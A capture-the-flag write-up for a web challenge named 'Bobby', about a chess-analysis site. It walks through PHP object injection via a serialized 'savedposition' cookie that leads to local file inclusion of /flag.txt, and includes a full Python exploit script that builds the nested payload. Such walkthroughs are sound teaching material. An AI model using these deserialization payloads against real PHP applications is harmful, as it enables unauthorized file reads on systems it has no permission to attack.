Bobby Web Challenge
Description
"My friend is a chess enthusiast. He has a website where he can analyze his friends' games."
Identifying the Vulnerability
After examining the application, I found that it was vulnerable to PHP Object Injection (POI) via insecure deserialization, which could lead to Local File Inclusion (LFI).
From the challenge description, it was evident that the website processed chess game positions. The application stored serialized PHP objects, which hinted at a possible object injection vulnerability.
Finding the Attack Vector
By inspecting the cookies, I discovered a key named savedposition
. This suggested that the application stored serialized data client-side. Since PHP uses unserialize()
, it could be possible to craft a malicious object.
The vulnerability likely existed in the way the application processed the saved chess positions, allowing me to manipulate the serialized PHP objects.
Crafting the Exploit
I created a payload that takes advantage of PHP object deserialization to manipulate the ChessGame
class and change the position
attribute to reference a system file (/flag.txt
).
The exploit script constructs a serialized PHP object with these classes:
- ChessGame: The
position
field is set to a file path. - PositionAnalyzer: Contains the ChessGame object.
- MoveValidator: Encapsulates the PositionAnalyzer object.
#!/usr/bin/env python3 import base64 import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = "https://af5fb186717328db2b532.playat.flagyard.com/" filepath = "/flag.txt" phpsessid = "ea8e0b63d85fa946c1a188271086be11" # Craft malicious PHP objects chess_game = f'O:9:"ChessGame":1:{{s:8:"position";s:{len(filepath)}:"{filepath}";}}' position_analyzer = f'O:16:"PositionAnalyzer":2:{{s:10:"gameRecord";s:4:"test";s:15:"currentPosition";{chess_game}}}' move_validator = f'O:13:"MoveValidator":3:{{s:4:"move";s:2:"e4";s:8:"analyzer";{position_analyzer};s:5:"chess";{chess_game}}}' payload = base64.b64encode(move_validator.encode()).decode() cookies = { 'savedposition': payload, 'PHPSESSID': phpsessid } try: response = requests.get(url, cookies=cookies, verify=False) print(response.text) # Save response to a file filename = filepath.replace("/", "").replace(".", "_") + ".html" with open(filename, "w") as f: f.write(response.text) print(f"\n[+] Response saved to {filename}") except Exception as e: print(f"[!] Error: {e}")
Understanding the Exploit
Let's break down how the exploit works:
- I create three serialized PHP objects that mimic the application's class structure.
- The
ChessGame
object has itsposition
property set to/flag.txt
. - This object is wrapped in
PositionAnalyzer
andMoveValidator
objects to match the expected structure. - The entire object chain is Base64-encoded and injected into the
savedposition
cookie. - When the application unserializes this data, it processes the
position
value which points to/flag.txt
. - This triggers a Local File Inclusion that reads and displays the flag file.
Execution and Results
When I sent the crafted request to the server:
- The server deserialized the malicious objects.
- When processing the chess position, it accessed the file path I specified (
/flag.txt
). - Due to the local file inclusion vulnerability, the contents of the flag were included in the response.
- The script successfully retrieved and displayed the flag.
Flag
FlagY{*******}